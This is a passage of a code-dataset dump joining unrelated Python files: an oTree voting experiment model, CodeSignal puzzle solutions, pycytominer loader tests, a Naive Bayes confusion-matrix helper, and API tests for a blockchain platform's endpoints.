p3 = self.get_player_by_id(3)\n p4 = self.get_player_by_id(4)\n\n\n\n if self.winner_id == 1:\n\n p1.payoff = p1.allocation1\n p2.payoff = p1.allocation2\n p3.payoff = p1.allocation3\n p4.payoff = p1.allocation4\n p1.participant.vars['election_winner_id'] = self.winner_id\n p2.participant.vars['election_winner_id'] = self.winner_id\n p3.participant.vars['election_winner_id'] = self.winner_id\n p4.participant.vars['election_winner_id'] = self.winner_id\n\n p1.participant.vars['election_p1_payoff'] = p1.payoff\n p2.participant.vars['election_p2_payoff'] = p2.payoff\n p3.participant.vars['election_p3_payoff'] = p3.payoff\n p4.participant.vars['election_p4_payoff'] = p4.payoff\n print(p1.participant.vars)\n print(p2.participant.vars)\n print(p3.participant.vars)\n print(p4.participant.vars)\n\n elif self.winner_id == 2:\n p1.payoff = p2.allocation1\n p2.payoff = p2.allocation2\n p3.payoff = p2.allocation3\n p4.payoff = p2.allocation4\n p1.participant.vars['election_winner_id'] = self.winner_id\n p2.participant.vars['election_winner_id'] = self.winner_id\n p3.participant.vars['election_winner_id'] = self.winner_id\n p4.participant.vars['election_winner_id'] = self.winner_id\n\n p1.participant.vars['election_p1_payoff'] = p1.payoff\n p2.participant.vars['election_p2_payoff'] = p2.payoff\n p3.participant.vars['election_p3_payoff'] = p3.payoff\n p4.participant.vars['election_p4_payoff'] = p4.payoff\n print(p1.participant.vars)\n print(p2.participant.vars)\n print(p3.participant.vars)\n print(p4.participant.vars)\n\n elif self.winner_id == 3:\n p1.payoff = p3.allocation1\n p2.payoff = p3.allocation2\n p3.payoff = p3.allocation3\n p4.payoff = p3.allocation4\n p1.participant.vars['election_winner_id'] = self.winner_id\n p2.participant.vars['election_winner_id'] = self.winner_id\n p3.participant.vars['election_winner_id'] = self.winner_id\n p4.participant.vars['election_winner_id'] = self.winner_id\n\n p1.participant.vars['election_p1_payoff'] = p1.payoff\n p2.participant.vars['election_p2_payoff'] = p2.payoff\n p3.participant.vars['election_p3_payoff'] = p3.payoff\n p4.participant.vars['election_p4_payoff'] = p4.payoff\n print(p1.participant.vars)\n print(p2.participant.vars)\n print(p3.participant.vars)\n print(p4.participant.vars)\n\n elif self.winner_id == 4:\n p1.payoff = p4.allocation1\n p2.payoff = p4.allocation2\n p3.payoff = p4.allocation3\n p4.payoff = p4.allocation4\n p1.participant.vars['election_winner_id'] = self.winner_id\n p2.participant.vars['election_winner_id'] = self.winner_id\n p3.participant.vars['election_winner_id'] = self.winner_id\n p4.participant.vars['election_winner_id'] = self.winner_id\n\n p1.participant.vars['election_p1_payoff'] = p1.payoff\n p2.participant.vars['election_p2_payoff'] = p2.payoff\n p3.participant.vars['election_p3_payoff'] = p3.payoff\n p4.participant.vars['election_p4_payoff'] = p4.payoff\n print(p1.participant.vars)\n print(p2.participant.vars)\n print(p3.participant.vars)\n print(p4.participant.vars)\n\n\n\n\nclass Player(BasePlayer):\n rank1 = models.IntegerField(min=1, max=3, label='Give a rank to Candidate 1', initial=0)\n\n rank2 = models.IntegerField(min=1, max=3, label='Give a rank to Candidate 2', initial=0)\n\n rank3 = models.IntegerField(min=1, max=3, label='Give a rank to Candidate 3', initial=0)\n\n rank4 = models.IntegerField(min=1, max=3, label='Give a rank to Candidate 4', initial=0)\n\n # rank1 = models.IntegerField(min=0, max=3, label='Give a rank to Candidate 1', widget=widgets.RadioSelectHorizontal,\n # choices=[[1, '1'], [2, '2'], [3, '3']], initial=3, blank=True)\n #\n # rank2 = models.IntegerField(min=0, max=3, label='Give a rank to Candidate 2', widget=widgets.RadioSelectHorizontal,\n # choices=[[1, '1'], [2, '2'], [3, '3']], initial=3, blank=True)\n #\n # rank3 = models.IntegerField(min=0, max=3, label='Give a rank to Candidate 3', widget=widgets.RadioSelectHorizontal,\n # choices=[[1, '1'], [2, '2'], [3, '3']], initial=3, blank=True)\n #\n # rank4 = models.IntegerField(min=0, max=3, label='Give a rank to Candidate 4', widget=widgets.RadioSelectHorizontal,\n # choices=[[1, '1'], [2, '2'], [3, '3']], initial=3, blank=True)\n\n allocation1 = models.IntegerField(min=0, max=400, label='Give an amount to Table Member 1')\n allocation2 = models.IntegerField(min=0, max=400, label='Give an amount to Table Member 2')\n allocation3 = models.IntegerField(min=0, max=400, label='Give an amount to Table Member 3')\n allocation4 = models.IntegerField(min=0, max=400, label='Give an amount to Table Member 4')\n\n subject_id = models.IntegerField(min=0,max=28, label='Subject ID')\n\n def set_type(self):\n self.subject_id = self.participant.id_in_session\n self.participant.vars['subject_id'] = self.subject_id\n if self.participant.vars['subject_id'] in Constants.type_a1:\n self.participant.vars['type'] = 1\n elif self.participant.vars['subject_id'] in Constants.type_a2:\n self.participant.vars['type'] = 2\n elif self.participant.vars['subject_id'] in Constants.type_b:\n self.participant.vars['type'] = 3\n elif self.participant.vars['subject_id'] in Constants.type_c:\n self.participant.vars['type'] = 4\n print('player belongs to category type:', self.participant.vars['type'])\n\n # def set_winner_in_vars(self):\n\n\n","sub_path":"identity_green/voting/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"175947814","text":"# Easy\n#\n# Codewriting\n#\n# 300\n#\n# Given a sequence of integers as an array, determine whether it is possible to obtain a strictly increasing sequence by removing no more than one element from the array.\n#\n# Note: sequence a0, a1, ..., an is considered to be a strictly increasing if a0 < a1 < ... < an. Sequence containing only one element is also considered to be strictly increasing.\n#\n# Example\n#\n# For sequence = [1, 3, 2, 1], the output should be\n# almostIncreasingSequence(sequence) = false.\n#\n# There is no one element in this array that can be removed in order to get a strictly increasing sequence.\n#\n# For sequence = [1, 3, 2], the output should be\n# almostIncreasingSequence(sequence) = true.\n#\n# You can remove 3 from the array to get the strictly increasing sequence [1, 2]. Alternately, you can remove 2 to get the strictly increasing sequence [1, 3].\n#\n# Input/Output\n#\n# [execution time limit] 4 seconds (py3)\n#\n# [input] array.integer sequence\n#\n# Guaranteed constraints:\n# 2 ≤ sequence.length ≤ 105,\n# -105 ≤ sequence[i] ≤ 105.\n#\n# [output] boolean\n#\n# Return true if it is possible to remove one element from the array in order to get a strictly increasing sequence, otherwise return false.\n\n#Answer one\ndef almostIncreasingSequence(sequence):\n result = []\n seq_set = list(set(sequence))\n\n for i in range(len(sequence) - 1):\n if sequence[i] >= sequence[i + 1]:\n result.append(i)\n\n if len(result) > 1 or len(sequence) - len(seq_set) >= 2:\n return False\n\n if result[0] + 1 == len(sequence) - 1:\n array = sequence[:result[0] + 1]\n array_sort = array[:]\n array_sort.sort()\n else:\n array = sequence[:result[0] + 1] + sequence[result[0] + 2:]\n array_sort = array[:]\n array_sort.sort()\n\n if array == array_sort:\n return True\n\n seq_copy = sequence[:]\n del seq_copy[result[0]]\n seq_set = list(set(seq_copy))\n seq_set.sort()\n\n if seq_copy != seq_set:\n return False\n return True\n\n#Answer two\ndef almostIncreasingSequence(sequence):\n result_1 = 0\n result_2 = 0\n\n for i in range(len(sequence) - 1):\n if sequence[i] >= sequence[i + 1]:\n result_1 += 1\n\n for i in range(len(sequence) - 2):\n if sequence[i] >= sequence[i + 2]:\n result_2 += 1\n\n if result_1 < 2 and result_2 < 2:\n return True\n return False","sub_path":"codesignal/Intro/Edge of the Ocean/almostIncreasingSequence.py","file_name":"almostIncreasingSequence.py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"639912932","text":"import os\nimport random\nimport pytest\nimport tempfile\nimport pandas as pd\nfrom pycytominer.cyto_utils.load import infer_delim, load_profiles, load_platemap\n\nrandom.seed(123)\n\n# Get temporary directory\ntmpdir = tempfile.gettempdir()\n\n# Lauch a sqlite connection\noutput_data_file = os.path.join(tmpdir, \"test_data.csv\")\noutput_data_comma_file = os.path.join(tmpdir, \"test_data_comma.csv\")\noutput_platemap_file = os.path.join(tmpdir, \"test_platemap.csv\")\noutput_platemap_comma_file = os.path.join(tmpdir, \"test_platemap_comma.csv\")\n\n# Build data to use in tests\ndata_df = pd.concat(\n [\n pd.DataFrame(\n {\"Metadata_Well\": [\"A01\", \"A02\", \"A03\"], \"x\": [1, 3, 8], \"y\": [5, 3, 1]}\n ),\n pd.DataFrame(\n {\"Metadata_Well\": [\"B01\", \"B02\", \"B03\"], \"x\": [1, 3, 5], \"y\": [8, 3, 1]}\n ),\n ]\n).reset_index(drop=True)\n\nplatemap_df = pd.DataFrame(\n {\n \"well_position\": [\"A01\", \"A02\", \"A03\", \"B01\", \"B02\", \"B03\"],\n \"gene\": [\"x\", \"y\", \"z\"] * 2,\n }\n).reset_index(drop=True)\n\n# Write to temp files\ndata_df.to_csv(output_data_file, sep=\"\\t\", index=False)\ndata_df.to_csv(output_data_comma_file, sep=\",\", index=False)\nplatemap_df.to_csv(output_platemap_file, sep=\"\\t\", index=False)\nplatemap_df.to_csv(output_platemap_comma_file, sep=\",\", index=False)\n\n\ndef test_infer_delim():\n delim = infer_delim(output_platemap_file)\n assert delim == \"\\t\"\n\n delim = infer_delim(output_platemap_comma_file)\n assert delim == \",\"\n\n\ndef test_load_profiles():\n\n profiles = load_profiles(output_data_file)\n pd.testing.assert_frame_equal(data_df, profiles)\n\n platemap = load_platemap(output_data_comma_file, add_metadata_id=False)\n pd.testing.assert_frame_equal(data_df, profiles)\n\n profiles_from_frame = load_profiles(data_df)\n pd.testing.assert_frame_equal(data_df, profiles_from_frame)\n\n\ndef test_load_platemap():\n\n platemap = load_platemap(output_platemap_file, add_metadata_id=False)\n pd.testing.assert_frame_equal(platemap, platemap_df)\n\n platemap = load_platemap(output_platemap_comma_file, add_metadata_id=False)\n pd.testing.assert_frame_equal(platemap, platemap_df)\n\n platemap_with_annotation = load_platemap(output_platemap_file, add_metadata_id=True)\n platemap_df.columns = [f\"Metadata_{x}\" for x in platemap_df.columns]\n pd.testing.assert_frame_equal(platemap_with_annotation, platemap_df)\n","sub_path":"pycytominer/tests/test_cyto_utils/test_load.py","file_name":"test_load.py","file_ext":"py","file_size_in_byte":2379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"172646463","text":"from Service import NaiveBayesianClassifier\nimport operator\n\n\ndef create_confusion_matrix(test_values, test_keys, summary):\n counter = -1\n correct_guess = 0\n incorrect_guess = 0\n total_correct = 0\n total= 0\n setosa = [0, 0, 0]\n versicolor = [0, 0, 0]\n virginica = [0, 0, 0]\n confusion_matrix = {\"Iris-setosa\": setosa,\n \"Iris-versicolor\": versicolor,\n \"Iris-virginica\": virginica}\n for vector_list in test_values:\n correct_guess = 0\n incorrect_guess = 0\n for vector in vector_list.vectors:\n bayesian_classifications = NaiveBayesianClassifier.calculate_class_probability(summary, vector)\n guess = max(bayesian_classifications.items(), key=operator.itemgetter(1))[0]\n counter += 1\n actual = test_keys[counter]\n # print(\"Guess\",guess)\n # print(\"Actual\",actual)\n if guess in actual:\n correct_guess += 1\n if guess in \"Iris-setosa\":\n setosa[0] = correct_guess\n confusion_matrix[guess] = setosa\n elif guess in \"Iris-versicolor\":\n versicolor[1] = correct_guess\n confusion_matrix[guess] = versicolor\n elif guess in \"Iris-virginica\":\n virginica[2] = correct_guess\n confusion_matrix[guess] = virginica\n else:\n incorrect_guess += 1\n if actual in \"Iris-setosa\":\n if guess in \"Iris-versicolor\":\n virginica[1] = incorrect_guess\n confusion_matrix[actual] = virginica\n elif guess in \"Iris-virginica\":\n virginica[2] = incorrect_guess\n confusion_matrix[actual] = virginica\n elif actual in \"Iris-versicolor\":\n if guess in \"Iris-virginica\":\n virginica[2] = incorrect_guess\n confusion_matrix[actual] = virginica\n elif guess in \"Iris-setosa\":\n virginica[0] = incorrect_guess\n confusion_matrix[actual] = virginica\n elif actual in \"Iris-virginica\":\n if guess in \"Iris-versicolor\":\n virginica[1] = incorrect_guess\n confusion_matrix[actual] = virginica\n elif guess in \"Iris-setosa\":\n virginica[0] = incorrect_guess\n confusion_matrix[actual] = virginica\n total_correct += correct_guess\n total += correct_guess+incorrect_guess\n print(list(confusion_matrix.keys())[0], \" \", list(confusion_matrix.values())[0])\n print(list(confusion_matrix.keys())[1], list(confusion_matrix.values())[1])\n print(list(confusion_matrix.keys())[2], \"\", list(confusion_matrix.values())[2])\n print(\"Accuracy: \", format(total_correct / total, '%'))\n return confusion_matrix\n","sub_path":"NAI_5/Service/CreateConfusionMatrix.py","file_name":"CreateConfusionMatrix.py","file_ext":"py","file_size_in_byte":3067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"51562161","text":"import unittest\nimport utils\nimport config\nimport requests\nimport json\nimport funcs\nimport os\nimport time\n\n\nclass ApiTestCase(unittest.TestCase):\n def setUp(self):\n global url, token, prKey, pause\n self.config = config.getNodeConfig()\n url = self.config[\"2\"][\"url\"]\n pause = self.config[\"1\"][\"time_wait_tx_in_block\"]\n prKey = self.config[\"1\"]['private_key']\n self.data = utils.login(url, prKey, 0)\n token = self.data[\"jwtToken\"]\n\n def assertTxInBlock(self, result, jwtToken):\n status = utils.txstatus(url, pause, result, jwtToken)\n if len(status['blockid']) > 0:\n self.assertNotIn(json.dumps(status), 'errmsg')\n return status[\"blockid\"]\n else:\n return status[\"errmsg\"][\"error\"]\n\n def check_get_api(self, endPoint, data, keys):\n end = url + endPoint\n result = funcs.call_get_api(end, data, token)\n for key in keys:\n self.assertIn(key, result)\n return result\n\n def check_post_api(self, endPoint, data, keys):\n end = url + endPoint\n result = funcs.call_post_api(end, data, token)\n for key in keys:\n self.assertIn(key, result)\n return result\n \n def get_error_api(self, endPoint, data):\n end = url + endPoint\n result = funcs.call_get_api(end, data, token)\n error = result[\"error\"]\n message = result[\"msg\"]\n return error, message\n\n def call(self, name, data):\n resp = utils.call_contract(url, prKey, name, data, token)\n resp = self.assertTxInBlock(resp, token)\n return resp\n\n def test_balance(self):\n asserts = [\"amount\", \"money\"]\n self.check_get_api('/balance/' + self.data['address'], \"\", asserts)\n \n def test_balance_incorrect_wallet(self):\n wallet = \"0000-0990-3244-5453-2310\"\n msg = \"Wallet \" + wallet + \" is not valid\"\n error, message = self.get_error_api('/balance/' + wallet, \"\")\n self.assertEqual(error, \"E_INVALIDWALLET\", \"Incorrect error\")\n\n def test_getEcosystem(self):\n asserts = [\"number\"]\n self.check_get_api(\"/ecosystems/\", \"\", asserts)\n\n def test_get_param_ecosystem(self):\n asserts = [\"list\"]\n ecosysNum = \"1\"\n self.check_get_api(\"/ecosystemparams/?ecosystem=\"+ecosysNum, \"\", asserts)\n\n def test_get_param_current_ecosystem(self):\n asserts = [\"list\"]\n self.check_get_api(\"/ecosystemparams/\", \"\", asserts)\n\n def test_get_params_ecosystem_with_names(self):\n asserts = [\"list\"]\n names = \"founder_account,new_table,changing_tables\"\n res = self.check_get_api(\"/ecosystemparams/?names=\"+names, \"\", asserts)\n mustBe = [\n \"3\",\n \"founder_account\",\n \"new_table\",\n \"changing_tables\"\n ]\n actual = [\n str(len(res[\"list\"])),\n res[\"list\"][0][\"name\"],\n res[\"list\"][1][\"name\"],\n res[\"list\"][2][\"name\"]\n ]\n mustBe.sort()\n actual.sort()\n self.assertEqual(actual, mustBe, \"test_get_params_ecosystem_with_names is failed!\")\n\n def test_get_parametr_of_current_ecosystem(self):\n asserts = [\"id\", \"name\", \"value\", \"conditions\"]\n data = {}\n self.check_get_api(\"/ecosystemparam/founder_account/\", data, asserts)\n \n def test_get_incorrect_ecosys_parametr(self):\n asserts = \"\"\n error, message = self.get_error_api(\"/ecosystemparam/incorrectParam/\", asserts)\n self.assertEqual(error, \"E_PARAMNOTFOUND\", \"Incorrect error: \" + error + message)\n\n def test_get_tables_of_current_ecosystem(self):\n asserts = [\"list\", \"count\"]\n data = {}\n self.check_get_api(\"/tables\", data, asserts)\n\n def test_get_table_information(self):\n dictNames = {}\n dictNamesAPI = {}\n data = {}\n tables = utils.getEcosysTables(self.config[\"1\"][\"dbHost\"],\n self.config[\"1\"][\"dbName\"],\n self.config[\"1\"][\"login\"],\n self.config[\"1\"][\"pass\"])\n for table in tables:\n if \"table\" not in table:\n tableInfo = funcs.call_get_api(url + \"/table/\" + table[2:], data, token)\n if \"name\" in str(tableInfo):\n dictNames[table[2:]] = table[2:]\n dictNamesAPI[table[2:]] = tableInfo[\"name\"]\n else:\n self.fail(\"Answer from API /table/\" + table + \" is: \" + str(tableInfo))\n self.assertDictEqual(dictNamesAPI, dictNames,\n \"Any of API tableInfo gives incorrect data\")\n \n def test_get_incorrect_table_information(self):\n table = \"tab\"\n data = {}\n error, message = self.get_error_api(\"/table/\" + table, data)\n err = \"E_TABLENOTFOUND\"\n msg = \"Table \" + table + \" has not been found\"\n self.assertEqual(err, error, \"Incorrect error\")\n self.assertEqual(message, msg, \"Incorrect error massege\")\n\n def test_get_table_data(self):\n dictCount = {}\n dictCountTable = {}\n data = {}\n tables = utils.getEcosysTables(self.config[\"1\"][\"dbHost\"],\n self.config[\"1\"][\"dbName\"],\n self.config[\"1\"][\"login\"],\n self.config[\"1\"][\"pass\"])\n exception_table = [\n '1_menu',\n '1_blocks',\n '1_sections',\n '1_parameters',\n '1_pages',\n '1_tables',\n '1_contracts',\n '1_applications'\n ]\n for table in tables:\n tableData = funcs.call_get_api(url + \"/list/\" + table[2:], data, token)\n if table in exception_table:\n count = utils.getCountTableFromEcosystem(self.config[\"1\"][\"dbHost\"],\n self.config[\"1\"][\"dbName\"],\n self.config[\"1\"][\"login\"],\n self.config[\"1\"][\"pass\"], table, ecosys=1)\n else:\n count = utils.getCountTable(self.config[\"1\"][\"dbHost\"],\n self.config[\"1\"][\"dbName\"],\n self.config[\"1\"][\"login\"],\n self.config[\"1\"][\"pass\"], table)\n if count > 0:\n if len(tableData[\"list\"]) == count or (len(tableData[\"list\"]) == 25 and\n count > 25):\n dictCount[table] = count\n dictCountTable[table] = int(tableData[\"count\"])\n else:\n self.fail(\"Count list of \" + table +\\\n \" not equels of count table. Count of table: \" +\\\n str(count) + \" Count of list length: \" +\\\n str(len(tableData[\"list\"])))\n else:\n dictCount[table] = 0\n dictCountTable[table] = int(tableData[\"count\"])\n self.assertDictEqual(dictCount, dictCountTable,\n \"Any of count not equels real count\") \n \n def test_get_incorrect_table_data(self):\n table = \"tab\"\n data = {}\n error, message = self.get_error_api(\"/list/\" + table, data)\n err = \"E_TABLENOTFOUND\"\n msg = \"Table \" + table + \" has not been found\"\n self.assertEqual(err, error, \"Incorrect error\")\n self.assertEqual(message, msg, \"Incorrect error massege\")\n\n def test_get_table_data_row(self):\n asserts = [\"value\"]\n data = {}\n self.check_get_api(\"/row/contracts/2\", data, asserts)\n \n def test_get_incorrect_table_data_row(self):\n table = \"tab\"\n data = {}\n error, message = self.get_error_api(\"/row/\" + table + \"/2\", data)\n err = \"E_QUERY\"\n msg = \"DB query is wrong\"\n self.assertEqual(err, error, \"Incorrect errror\")\n self.assertEqual(msg, message, \"Incorrect error message\")\n\n def test_get_contract_information(self):\n asserts = [\"name\"]\n data = {}\n self.check_get_api(\"/contract/MainCondition\", data, asserts)\n \n def test_get_incorrect_contract_information(self):\n contract = \"contract\"\n data = {}\n error, message = self.get_error_api(\"/contract/\" + contract, data)\n err = \"E_CONTRACT\"\n msg = \"There is not \" + contract + \" contract\"\n\n def test_content_lang(self):\n nameLang = \"Lang_\" + utils.generate_random_name()\n data = {\"Name\": nameLang,\n \"Trans\": \"{\\\"en\\\": \\\"World_en\\\", \\\"ru\\\" : \\\"Мир_ru\\\",\" +\\\n \"\\\"fr-FR\\\": \\\"Monde_fr-FR\\\", \\\"de\\\": \\\"Welt_de\\\"}\"}\n res = self.call(\"NewLang\", data)\n self.assertGreater(int(res), 0, \"BlockId is not generated: \" + res)\n namePage = \"Page_\" + utils.generate_random_name()\n valuePage = \"Hello, LangRes(\" + nameLang + \")\"\n dataPage = {\"ApplicationId\": 1, \"Name\": namePage, \"Value\": valuePage, \"Conditions\": \"true\",\n \"Menu\": \"default_menu\"}\n res = self.call(\"NewPage\", dataPage)\n self.assertGreater(int(res), 0, \"BlockId is not generated: \" + res)\n content = [{'tag': 'text', 'text': 'Hello, World_en'}]\n contentRu = [{'tag': 'text', 'text': 'Hello, Мир_ru'}]\n contentFr = [{'tag': 'text', 'text': 'Hello, Monde_fr-FR'}]\n contentDe = [{'tag': 'text', 'text': 'Hello, Welt_de'}]\n dictExp ={\"default\" : content, \"ru\": contentRu,\n \"fr\": contentFr, \"de\": contentDe, \"pe\": content}\n pContent = funcs.get_content(url, \"page\", namePage, \"en\", 1, token) # should be: en\n ruPContent = funcs.get_content(url, \"page\", namePage, \"ru\", 1, token) # should be: ru\n frPcontent = funcs.get_content(url, \"page\", namePage, \"fr-FR\", 1, token) # should be: fr-FR\n dePcontent = funcs.get_content(url, \"page\", namePage, \"de-DE\", 1, token) # should be: de\n pePcontent = funcs.get_content(url, \"page\", namePage, \"pe\", 1, token) # should be: en\n dictCur = {\"default\" : pContent['tree'], \"ru\": ruPContent['tree'],\n \"fr\": frPcontent['tree'], \"de\": dePcontent['tree'], \"pe\": pePcontent['tree']}\n self.assertDictEqual(dictCur, dictExp, \"One of langRes is faild\")\n \n def test_content_lang_after_edit(self):\n nameLang = \"Lang_\" + utils.generate_random_name()\n data = {\"Name\": nameLang,\n \"Trans\": \"{\\\"en\\\": \\\"World_en\\\", \\\"ru\\\" : \\\"Мир_ru\\\",\" +\\\n \"\\\"fr-FR\\\": \\\"Monde_fr-FR\\\", \\\"de\\\": \\\"Welt_de\\\"}\"}\n res = self.call(\"NewLang\", data)\n self.assertGreater(int(res), 0, \"BlockId is not generated: \" + res)\n namePage = \"Page_\" + utils.generate_random_name()\n valuePage = \"Hello, LangRes(\" + nameLang + \")\"\n dataPage = {\"Name\": namePage, \"Value\": valuePage, \"Conditions\": \"true\",\n \"Menu\": \"default_menu\", \"ApplicationId\": 1,}\n res = self.call(\"NewPage\", dataPage)\n self.assertGreater(int(res), 0, \"BlockId is not generated: \" + res)\n count = self.check_get_api(\"/list/languages\", \"\", [])[\"count\"]\n dataEdit = {\"Id\": count,\n \"Trans\": \"{\\\"en\\\": \\\"World_en_ed\\\", \\\"ru\\\" : \\\"Мир_ru_ed\\\",\" +\\\n \"\\\"fr-FR\\\": \\\"Monde_fr-FR_ed\\\", \\\"de\\\": \\\"Welt_de_ed\\\"}\"}\n res = self.call(\"EditLang\", dataEdit)\n self.assertGreater(int(res), 0, \"BlockId is not generated: \" + res)\n content = [{'tag': 'text', 'text': 'Hello, World_en_ed'}]\n contentRu = [{'tag': 'text', 'text': 'Hello, Мир_ru_ed'}]\n contentFr = [{'tag': 'text', 'text': 'Hello, Monde_fr-FR_ed'}]\n contentDe = [{'tag': 'text', 'text': 'Hello, Welt_de_ed'}]\n dictExp ={\"default\" : content, \"ru\": contentRu,\n \"fr\": contentFr, \"de\": contentDe, \"pe\": content}\n pContent = funcs.get_content(url, \"page\", namePage, \"en\", 1, token) # should be: en\n ruPContent = funcs.get_content(url, \"page\", namePage, \"ru\", 1, token) # should be: ru\n frPcontent = funcs.get_content(url, \"page\", namePage, \"fr-FR\", 1, token) # should be: fr-FR\n dePcontent = funcs.get_content(url, \"page\", namePage, \"de-DE\", 1, token) # should be: de\n pePcontent = funcs.get_content(url, \"page\", namePage, \"pe\", 1, token) # should be: en\n dictCur = {\"default\" : pContent['tree'], \"ru\": ruPContent['tree'],\n \"fr\": frPcontent['tree'], \"de\": dePcontent['tree'], \"pe\": pePcontent['tree']}\n self.assertDictEqual(dictCur, dictExp, \"One of langRes is faild\")\n\n def test_get_content_from_template(self):\n data = {}\n data[\"template\"] = \"SetVar(mytest, 100) Div(Body: #mytest#)\"\n asserts = [\"tree\"]\n res = self.check_post_api(\"/content\", data, asserts)\n answerTree = {'tree': [{'tag': 'div', 'children': [{'tag': 'text', 'text': '100'}]}]}\n self.assertEqual(answerTree, res)\n\n def test_get_content_from_template_empty(self):\n data = {}\n data[\"template\"] = \"\"\n asserts = []\n res = self.check_post_api(\"/content\", data, asserts)\n self.assertEqual(None, res)\n\n def test_get_content_from_template_source(self):\n data = {}\n data[\"template\"] = \"SetVar(mytest, 100) Div(Body: #mytest#)\"\n data[\"source\"] = \"true\"\n asserts = [\"tree\"]\n res = self.check_post_api(\"/content\", data, asserts)\n answerTree = {'tree': [{'tag': 'setvar', 'attr': {'name': 'mytest', 'value': '100'}}, {'tag': 'div', 'children': [{'tag': 'text', 'text': '#mytest#'}]}]}\n self.assertEqual(answerTree, res)\n\n def test_get_content_from_template_source_empty(self):\n data = {}\n data[\"template\"] = \"\"\n data[\"source\"] = \"true\"\n asserts = []\n res = self.check_post_api(\"/content\", data, asserts)\n self.assertEqual(None, res)\n\n def test_get_content_source(self):\n # Create new page for test\n name = \"Page_\" + utils.generate_random_name()\n data = {}\n data[\"Name\"] = name\n data[\"Value\"] = \"SetVar(a,\\\"Hello\\\") \\n Div(Body: #a#)\"\n data[\"Conditions\"] = \"true\"\n data[\"Menu\"] = \"default_menu\"\n data[\"ApplicationId\"] = 1\n res = self.call(\"NewPage\", data)\n self.assertGreater(int(res), 0, \"BlockId is not generated: \" + res)\n # Test\n asserts = [\"tree\"]\n res = self.check_post_api(\"/content/source/\"+name, \"\", asserts)\n childrenText = res[\"tree\"][1][\"children\"][0][\"text\"]\n self.assertEqual(\"#a#\", childrenText)\n\n def test_get_content_with_param_from_address_string(self):\n # Create new page for test\n name = \"Page_\" + utils.generate_random_name()\n data = {}\n data[\"Name\"] = name\n data[\"Value\"] = \"#test#\"\n data[\"Conditions\"] = \"true\"\n data[\"Menu\"] = \"default_menu\"\n data[\"ApplicationId\"] = 1\n res = self.call(\"NewPage\", data)\n self.assertGreater(int(res), 0, \"BlockId is not generated: \" + res)\n # Test\n param = \"?test=\"\n value = \"hello123\"\n asserts = [\"tree\"]\n res = self.check_post_api(\"/content/page/\" + name + param + value, \"\", asserts)\n self.assertEqual(value, res[\"tree\"][0][\"text\"])\n\n def test_get_content_from_another_ecosystem(self):\n # create new ecosystem\n ecosysName = \"Ecosys_\" + utils.generate_random_name()\n data = {\"Name\": ecosysName}\n res = self.call(\"NewEcosystem\", data)\n self.assertGreater(int(res), 0,\n \"BlockId is not generated: \" + str(res))\n ecosysNum = funcs.call_get_api(url + \"/ecosystems/\", \"\", token)[\"number\"]\n # login founder in new ecosystem\n data2 = utils.login(url, prKey, 0, ecosysNum)\n token2 = data2[\"jwtToken\"]\n # create page in new ecosystem\n pageName = \"Page_\" + utils.generate_random_name()\n pageText = \"Page in \"+str(ecosysNum)+\" ecosystem\"\n pageValue = \"Span(\"+pageText+\")\"\n data = {\"Name\": pageName, \"Value\": pageValue, 'ApplicationId': 1,\n \"Conditions\": \"true\", \"Menu\": \"default_menu\"}\n resp = utils.call_contract(url, prKey, \"@1NewPage\", data, token2, ecosystem=ecosysNum)\n status = utils.txstatus(url, pause, resp, token2)\n self.assertGreater(int(status[\"blockid\"]), 0,\"BlockId is not generated: \" + str(status))\n # create menu in new ecosystem\n menuName = \"Menu_\" + utils.generate_random_name()\n menuTitle = \"Test menu\"\n data = {\"Name\": menuName, \"Value\": \"MenuItem(Title:\\\"\"+menuTitle+\"\\\")\",\n \"Conditions\": \"true\"}\n resp = utils.call_contract(url, prKey, \"@1NewMenu\", data, token2, ecosystem=ecosysNum)\n status = utils.txstatus(url, pause, resp, token2)\n self.assertGreater(int(status[\"blockid\"]), 0, \"BlockId is not generated: \" + str(status))\n # test\n data = \"\"\n asserts = [\"tree\"]\n resPage = self.check_post_api(\"/content/page/@\" + str(ecosysNum) + pageName, data, asserts)\n resMenu = self.check_post_api(\"/content/menu/@\" + str(ecosysNum) + menuName, data, asserts)\n mustBe = dict(pageText=pageText,\n menu=menuTitle)\n expectedValue = dict(pageText=resPage[\"tree\"][0][\"children\"][0][\"text\"],\n menu=resMenu[\"tree\"][0][\"attr\"][\"title\"])\n self.assertEqual(mustBe, expectedValue, \"Dictionaries are different!\")\n\n def test_get_back_api_version(self):\n asserts = [\".\"]\n data = \"\"\n self.check_get_api(\"/version\", data, asserts)\n \n def test_get_systemparams_all_params(self):\n asserts = [\"list\"]\n res = self.check_get_api(\"/systemparams\", \"\", asserts)\n self.assertGreater(len(res[\"list\"]), 0, \"Count of systemparams not Greater 0: \" + str(len(res[\"list\"])))\n\n def test_get_systemparams_some_param(self):\n asserts = [\"list\"]\n param = \"gap_between_blocks\"\n res = self.check_get_api(\"/systemparams/?names=\" + param, \"\", asserts)\n self.assertEqual(1, len(res[\"list\"]))\n self.assertEqual(param, res[\"list\"][0][\"name\"])\n\n def test_get_systemparams_incorrect_param(self):\n asserts = [\"list\"]\n param = \"not_exist_parameter\"\n res = self.check_get_api(\"/systemparams/?names=\"+param, \"\", asserts)\n self.assertEqual(0, len(res[\"list\"]))\n\n def test_get_contracts(self):\n limit = 25 # Default value without parameters\n asserts = [\"list\"]\n res = self.check_get_api(\"/contracts\", \"\", asserts)\n self.assertEqual(limit, len(res[\"list\"]))\n\n def test_get_contracts_limit(self):\n limit = 3\n asserts = [\"list\"]\n res = self.check_get_api(\"/contracts/?limit=\"+str(limit), \"\", asserts)\n self.assertEqual(limit, len(res[\"list\"]))\n\n def test_get_contracts_offset(self):\n asserts = [\"list\"]\n res = self.check_get_api(\"/contracts\", \"\", asserts)\n count = res[\"count\"]\n offset = count\n res = self.check_get_api(\"/contracts/?offset=\" + str(offset), \"\", asserts)\n self.assertEqual(None, res[\"list\"])\n\n def test_get_contracts_empty(self):\n limit = 1000\n offset = 1000\n asserts = [\"list\"]\n res = self.check_get_api(\"/contracts/?limit=\"+str(limit)+\"&offset=\"+str(offset), \"\", asserts)\n self.assertEqual(None, 